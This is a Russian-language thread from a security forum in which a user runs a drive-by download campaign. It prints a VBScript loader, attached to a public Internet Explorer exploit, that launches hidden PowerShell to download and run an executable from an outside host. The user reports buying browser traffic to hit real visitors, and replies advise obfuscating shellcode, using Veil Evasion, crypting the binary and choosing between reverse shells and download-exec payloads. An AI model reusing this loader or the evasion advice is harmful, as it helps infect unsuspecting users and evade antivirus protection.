ANTICHAT — форум по информационной безопасности, OSINT и технологиям

это вроди как фреймворк типа метасплоит, где нужно самому подбирать експлоиты и писать ротатор. с метасплоитом у меня не получилось вообще, такое впечатление что сплоиты в его составе устаревшие и не работают сейчас

Просто показалось что оно на https://github.com/offensive-securit...se-bin-sploits построено.

Еще вопрос, подскажите кто спец.

Кроме MSF я отдельно тестировал вот этот сплоит: https://www.exploit-db.com/exploits/35229/

К нему я прикрепил вот такой загрузчик:

set shell=createobject("Shell.Application")

shell.ShellExecute "PowerShell.exe", "-WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://mysite.com/download/mysoft.exe','mysoft.exe');Start-Process 'mysoft.exe'", "", "open", 1

При тестировании работало обалденно, пробивает мою 7-ю винду с IE 11, тестировал через crossbrowsertesting сервис - успешно пробивало IE 11, IE 9 на Win Vista и Win 7.

Но, когда купил IE траф отсюда: redirect.com - то где-то 1000 просмотров пустил, и ни одной загрузки...вот почему....что не так..

Подскажите плз...или с трафом тем что-то не так...тогда где его брать..

Антивири очень строго относятся к схеме загрузил mysoft.exe => сразу запустил mysoft.exe Тем более ты скачиваешь стандартными утилитами винды. Ну это моё мнение.

Вопрос: какие Payloads в метасплоите более пробиваемы? Реверс-шелы или модуль download_exec?

Если например взять какой-то реверс-шел и просто получить доступ к компам. А уже потом как-то дать всем команду грузить exe. Наверное это был бы более правильный способ чем сразу exe запускать?

да так не делаются дела,обычно под это дело приватный софт пишут

Почисти шеллкод, обфусцируй его, наполни мусором, метасплоит умеет генерировать разный мусор, еще посмотри в сторону Veil Evasion фреймворк он в купе с метасплоитом работает. да и еще .exe свой тоже криптони и проверь на сервисе каком нибудь, только не вирустототал!

не,у меня такое ощущение что авторы как раз с метасплойта их и собирают)

Если по теме уязвимостей и метасплойта то вот хороший китайский сайт http://www.metasploit.cn/forum.php

Через гугл переводчик

Ясно) Оно хоть обновляется? На сайте битые ссылки, запустил ExploitPack.jar, просит обновиться до 5.01